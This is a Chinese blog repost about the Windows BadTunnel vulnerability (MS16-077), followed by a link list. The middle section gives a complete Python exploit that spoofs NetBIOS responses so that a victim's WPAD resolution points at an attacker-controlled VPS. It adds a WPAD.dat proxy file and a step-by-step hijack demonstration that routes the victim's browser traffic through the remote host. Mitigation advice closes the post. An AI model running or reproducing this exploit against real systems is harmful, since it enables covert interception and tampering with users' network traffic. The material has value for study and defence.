博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
MS16-077--vulnerability
阅读量:7152 次
发布时间:2019-06-29

本文共 4672 字,大约阅读时间需要 15 分钟。

hot3.png

Windows又被曝出严重漏洞了!在近日发布的6月安全更新中,微软刚刚修复了一个高危漏洞。它可以影响从Windows 95到Windows10所有版本的操作系统。据了解,该漏洞由腾讯玄武实验室发现,并被命名为BadTunnel

 

BadTunnel可能是Windows史上影响范围最广泛的漏洞。尤其是使用微软不再提供安全支持系统(如Windows XP)的用户,有可能面临被秘密监控的风险。

BadTunnel漏洞是Windows原始设计的问题,它能实现近乎完美的静默运行。当受害者点击一个网络连接,或是插入USB设备时,黑客就能劫持用户的所有网络使用,并成为用户电脑的“老大哥”。

更糟糕的是,即使安全软件开启了主动防御功能,也无法检测到该攻击。发现该漏洞的研究人员称,黑客能通过Windows10 Edge浏览器、Internet Explorer、Office、运行于Windows上的第三方软件,甚至网络服务器和可移动设备(如U盘)入侵用户电脑。

 

简单来讲,黑客可以将他们的电脑伪装成网络设备,如本地的打印机服务器,或是文件服务器。黑客不仅可以监视非加密网络,还可以拦截和篡改Windows Update的下载内容。

 

黑客还可以利用受害访问过的网页,实施进一步攻击。举例来讲,通过向网页缓存添加代码,黑客可以确保目标用户和黑客之间的“隧道”处于打通状态。

 

研究人员表示,这或许是历史上第一次,漏洞可以跨越网络防火墙和NAT等设备,让黑客能通过互联网攻击内网设备。

下面模拟下真实的远程内网劫持攻击: 

测试环境:本地一台内网windows主机 + 远程一台阿里云VPS 
测试目标:本地用浏览器打开构造好的网页后  完成将本地网络流量劫持到远程的VPS主机上 
说下具体的攻击步骤: 
0x1 本地主机 
本地不要做任何设置 只要保证IE浏览器的自动检测代理为默认开启就行 
看下本地的环境吧 
主机通过无线路由上网 处于内网之中 
NetBois  缓存也已清空 
0x2 远程主机 
VPS上也不用做其他设置 只要准备两个文件就行了 
第一个文件当然是 利用代码 我已经写好了 内容如下: 
 

__author__ = 'T3rry' # Poison a system's NetBIOS resolver for the WPAD name from outside NAT # Usage: python badtunnel.py wpad_server_ip from socket import *   import sys import binascii import time HOST = '0.0.0.0'   PORT = 137   BUFSIZE = 1024   ADDR = (HOST,PORT) TRANSACTION_ID_BLOCK=100 NB_RESPONSE_PACKET='''     FFFF     8500     0000000100000000     20464846414542454543414341434143414341434143414341434143414341414100     0020     0001     00FFFFFF     0006     0000     FFFFFFFF     '''   PAYLOAD = binascii.a2b_hex((NB_RESPONSE_PACKET.replace('\t','').replace('\n','').replace(' ',''))) def usage():   print ("usage: python badtunnel.py wpad_server_ip")    def parse_nbns(data):   transaction_id=data[:2]   print "TransactionId :", hex(ord(transaction_id[0])),hex(ord(transaction_id[1]))   type= data[-4:-2]   if type=='\x00\x20':     print ("Type is: NB Query")   elif type=='\x00\x21':     print ("Type is: NBStat Query")     return transaction_id      def convert_ipv4_address(ip):     ip_addr = ip     packed_ip_addr = inet_aton(ip_addr)     unpacked_ip_addr = inet_ntoa(packed_ip_addr)     return binascii.hexlify(packed_ip_addr)      if __name__ == "__main__":     wpad_server_ip=''   if(len(sys.argv) < 2 ):     usage()     exit()   else:     wpad_server_ip= binascii.a2b_hex(convert_ipv4_address(sys.argv[1]))     badTunnel = socket(AF_INET, SOCK_DGRAM)     badTunnel.bind(ADDR)        while(True):     transaction_id=0     print ('Waiting for message...')     data, addr = badTunnel.recvfrom(BUFSIZE)     print ("[*] NetBIOS request from %s:%s..."%(addr[0],addr[1]))     transaction_id=parse_nbns(data)     if(transaction_id>0):       index=binascii.b2a_hex(transaction_id)       print ("Start sending payload data...")       for i in range(int(index,16)-TRANSACTION_ID_BLOCK,int(index,16)+TRANSACTION_ID_BLOCK):         data=list(PAYLOAD)         id=binascii.a2b_hex(hex(i)[2:])         data[0] =id[0]         data[1] =id[1]         data[58]=wpad_server_ip[0]         data[59]=wpad_server_ip[1]         data[60]=wpad_server_ip[2]         data[61]=wpad_server_ip[3]         payload=''.join(data)         badTunnel.sendto(payload,addr)         time.sleep(0.02)       print ("Send payload data finished ")   badTunnel.close()

第二个文件就是 WPAD.dat 文件 内容大概如下: 

function FindProxyForURL(url, host) {       // URLs within this network are accessed directly       if (isInNet(host, "127.0.0.1", "255.255.255.0"))       {          return "DIRECT";       }       return "PROXY x.x.x.x:8080; DIRECT";    }

其中x.x.x.x 为VPS的外网IP 将配置好的文件上传到Web服务器的 根目录下 
对了 为了顺利的劫持流量 还要准备一个 http代理脚本 这个我就不贴了 网上一大堆 
然后 分别运行攻击脚本和代理脚本 
0x3 流量劫持 
所有的准备工作已完成 下面就是用浏览器打开 构造好的html文件 其实文件的内容很简单 贴下吧 

   

其中x.x.x.x 为VPS的公网IP 
浏览器本地打开网页 
接下来我们看看VPS上的反应 
我们看到攻击脚本检测到了请求 并发送了伪造的数据包 
同时发现Web日志里有了WPAD.dat 文件的下载记录 
有兴趣的同学可以自己用WireShark抓包看看数据包的交互过程 
我们先本地查下看Netbois缓存记录 
发现NetBois的缓存已经被成功写入 
 
到了这里说明攻击已经成功了  我们打开浏览器验证下 
查下IP 发现显示为VPS的地址 
再到vps看下 发现刚才的浏览器的访问请求已经被记录了下来 
上面就是完整的利用过程 有什么问题可以一起探讨 涉及到的代码 

 

修复建议:

如果你用的是Windows系统,请参照以下方案加固自己电脑,有能力的话还是打上补丁一劳永逸。

方案1 对无需访问Windows网络共享服务的个人用户来说,可以考虑禁用NetBIOS  over TCP/IP,具体为:网络连接 >> 本地连接或无线网络连接 > Internet协议版本4 (TCP/IPv4} >> 双击打幵属性 >> 高级 >> WINS选项卡 >> 选择【禁用TCP/IP的NetBIOS】

 

方案2 IE >> internet选项 >> 连接选项页 >> 局域网设置 >> 关闭【自动检测设置】

 

方案3 修改 系统盘:\windows\system32\drivers\etc\hosts文件,添加一条记录127.0.0.1 WPAD

 

方案4 安装MS1WJ63和MS01WJ77补丁

 

对企业来说 可以在边界防火墙上关闭内部网络和互联网之间的137/UDP通信。

 

但是如果暂时无法升级,可以先参照其他方案做临时措施。其中方案3最简单易行,简化一下,其实一条CMD命令就可以搞定。

 

以下为WIN7、WIN10的执行方法。

 

 

方案3 

 

> WIN7执行方法 <

开始 >> 命令提示符(右键) >> 以管理员身份运行 >> 输入echo. >> %WINDIR%\system32\drivers\etc\hosts & echo 127.0.0.1  WPAD >> %WINDIR%\system32\drivers\etc\hosts 

> WIN10执行方法<

左下角右键 >> 命令提示符(管理员)>> 输入echo. >> %WINDIR%\system32\drivers\etc\hosts & echo 127.0.0.1  WPAD >> %WINDIR%\system32\drivers\etc\hosts 

 

转载于:https://my.oschina.net/u/2393235/blog/698241

你可能感兴趣的文章
Xcode把应用程序打包成ipa
查看>>
使用oschina的git服务器
查看>>
Unity插件之NGUI学习(6)—— 关于Widget怎样加入触发事件(触发OnClick)
查看>>
laravel里面的一些变量
查看>>
Oracle用户、权限、角色管理
查看>>
AutoMapper使用手册(一)
查看>>
基本类型赋值转换规则表
查看>>
hackerrank-knapsack
查看>>
SessionFactory的创建和Session的获得
查看>>
Hybrid框架UI重构之路:四、分而治之
查看>>
iOS项目的目录结构(Cocoa China)
查看>>
取消word中所有超链接
查看>>
javascript:addEventListener
查看>>
Struts2(十七)验证框架二
查看>>
在Web应用程序中执行计划任务(多线程)
查看>>
CSS垂直居中总结
查看>>
iOS 7 Master-Detail模板不好用
查看>>
启动rabbitmq web管理后台插件
查看>>
SQL Server 2014新功能PPT
查看>>
LogStash
查看>>